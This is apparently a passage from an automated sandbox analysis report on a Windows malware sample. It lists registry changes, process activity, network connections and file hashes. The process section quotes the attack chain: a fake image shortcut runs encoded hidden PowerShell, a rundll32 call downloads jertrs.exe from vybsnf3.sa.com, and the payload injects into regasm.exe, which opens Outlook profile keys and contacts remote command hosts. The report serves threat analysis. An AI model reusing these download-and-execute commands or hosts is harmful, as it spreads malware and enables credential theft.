| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache | C:\Windows\system32\rundll32.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" | C:\Windows\system32\rundll32.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" | C:\Windows\system32\rundll32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\system32\rundll32.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Photo01.jpg.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" CmD /C powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powersHElL -EX bYPASS -nop -w hIddEn -ec IAAgAEkAbgBWAG8AawBlAC0AdwBFAGIAcgBFAFEAdQBlAFMAdAAgAAkALQBVAFIAaQAgAAkAHSBoAHQAdABwADoALwAvAHYAeQBiAHMAbgBmADMALgBzAGEALgBjAG8AbQAvAG0AZQBkAC4AYgBhAHQAHSAgAAkALQBPAFUAVABmAEkAbABFACAAHSAkAEUATgB2ADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdICAAOwAgAGkATgB2AG8AawBFAC0ASQB0AGUATQAgAAkAHSAkAEUAbgBWADoAVABlAG0AcABcAGoAcgBiAGIAcwBmAHIALgBiAGEAdAAdIA==
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat" "
C:\Windows\system32\DeviceCredentialDeployment.exe
DEVIcECRedentIALdEPLOymEnt
C:\Windows\system32\rundll32.exe
RUNDll32 inEtcpL.CPl , ClearMyTracksByProcess 8
C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
C:\Windows\system32\rundll32.exe
rundLl32 C:\Windows\sYStEm32\SHiMGVW.dLl , ImageView_FullscreenA http://vybsnf3.sa.com/jertrs.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
C:\Windows\system32\DeviceCredentialDeployment.exe
dEvicEcredeNTiAldEPlOYMeNT
C:\Windows\system32\timeout.exe
timEout /T 7 /nObREAK
C:\Windows\system32\taskkill.exe
TAskkilL.Exe /F /Im rUNdlL32.exE
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c DIr C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\ /s /B
C:\Windows\system32\conhost.exe
CoNhOsT C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
C:\Users\Admin\AppData\Local\micROsOfT\WInDOwS\InEtCAChe\ie\VH4I14XV\jertrs[1].exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | vybsnf3.sa.com | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 189.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 190.120.93.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 172.93.120.190:80 | vybsnf3.sa.com | tcp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| DE | 193.122.6.168:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 168.6.122.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | varders.kozow.com | udp |
| FR | 51.38.247.67:8081 | varders.kozow.com | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | aborters.duckdns.org | udp |
| NL | 91.92.255.235:8081 | aborters.duckdns.org | tcp |
| US | 8.8.8.8:53 | 235.255.92.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 173.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.16.208.104.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sjghmla1.n2w.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5036-5-0x00000198A0FD0000-0x00000198A0FF2000-memory.dmp
memory/5036-10-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp
memory/5036-11-0x000001989EF50000-0x000001989EF60000-memory.dmp
memory/5036-12-0x000001989EF50000-0x000001989EF60000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\jrbbsfr.bat
| MD5 | 885e4bf9c36d1964f751bca33e898503 |
| SHA1 | 4055100dda8ee3845cfda6735900c556d8c19ca1 |
| SHA256 | 5efe4bb30df918412651e2060b234aac78f108793c2a25500aca8488ada3ab2a |
| SHA512 | 5da165cb4571777b53fbf324dabd63e73b7af94a88d0b08da8a0d28db1f6b947ad41494331be734836d2b5cb7ef090f1eed1e73b8ed9deb2fb9a37c4873691e3 |
memory/5036-19-0x00007FFB658D0000-0x00007FFB66391000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\lxRipDbgv6WP.BAT
| MD5 | 39aceb0c8a015a4e8f66498e03ff16db |
| SHA1 | 4707695dece3a70bfbe55868d059a22e4325eaf0 |
| SHA256 | 7eec1caeee2e9781635bc00daf1c0dbf98ec325625776afc4fb621e2eabd4527 |
| SHA512 | 0cc87584d277036c2f94f25484beeb60b07adcb1ccc90b6ddfc1e6521944c35f87cc2c9f15a2b2b453a1cd8e9c0c16ade7d6ceb4f6b082c4be6f8d1aaf8a53dc |
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\VH4I14XV\jertrs[1].exe
| MD5 | b07832ec5f73ae5f2888ebab2aa5283a |
| SHA1 | cb11a9e432df439fde94b6a3b3677d0112cac3c5 |
| SHA256 | dc613f5e91169b3744adfc0f6c968e3501c4bc1221ce12bdaa948ce9e5a1da21 |
| SHA512 | 7a3233303f57b57e72eaabd792796339611daa39bea2279ff1879a2728afc3b6cbb25cb9b66f96f86deda3aa7fda95cab07f0a549981dddbbb4f71c25132da15 |
memory/3168-30-0x0000000077C62000-0x0000000077C63000-memory.dmp
memory/3168-32-0x0000000002300000-0x0000000002301000-memory.dmp
memory/3168-36-0x00000000758B0000-0x0000000075A0D000-memory.dmp
memory/3168-38-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-40-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-42-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-43-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-44-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-45-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-46-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-47-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-48-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-54-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-52-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-56-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-58-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-59-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-62-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-64-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-66-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-68-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-70-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-71-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-72-0x0000000002CF0000-0x0000000002CF8000-memory.dmp
memory/3168-73-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3664-75-0x0000000000400000-0x000000000042B000-memory.dmp
memory/3168-77-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-76-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-74-0x0000000000730000-0x0000000000830000-memory.dmp
memory/3168-78-0x0000000000400000-0x000000000054B000-memory.dmp
memory/3168-79-0x00000000758B0000-0x0000000075A0D000-memory.dmp
memory/3168-82-0x0000000002CF0000-0x0000000002CF8000-memory.dmp
memory/3664-83-0x0000000000FA0000-0x0000000000FA1000-memory.dmp
memory/3664-81-0x0000000077C62000-0x0000000077C63000-memory.dmp
memory/3664-84-0x0000000000400000-0x0000000000426000-memory.dmp
memory/3664-85-0x0000000074610000-0x0000000074DC0000-memory.dmp
memory/3664-86-0x0000000005B40000-0x00000000060E4000-memory.dmp
memory/3664-87-0x0000000005590000-0x000000000562C000-memory.dmp
memory/3664-88-0x0000000005880000-0x0000000005890000-memory.dmp
memory/3664-89-0x0000000074610000-0x0000000074DC0000-memory.dmp
memory/3664-90-0x0000000005880000-0x0000000005890000-memory.dmp
memory/3664-91-0x00000000068F0000-0x0000000006940000-memory.dmp
memory/3664-92-0x0000000006B10000-0x0000000006CD2000-memory.dmp
memory/3664-93-0x00000000069E0000-0x0000000006A72000-memory.dmp
memory/3664-94-0x0000000006970000-0x000000000697A000-memory.dmp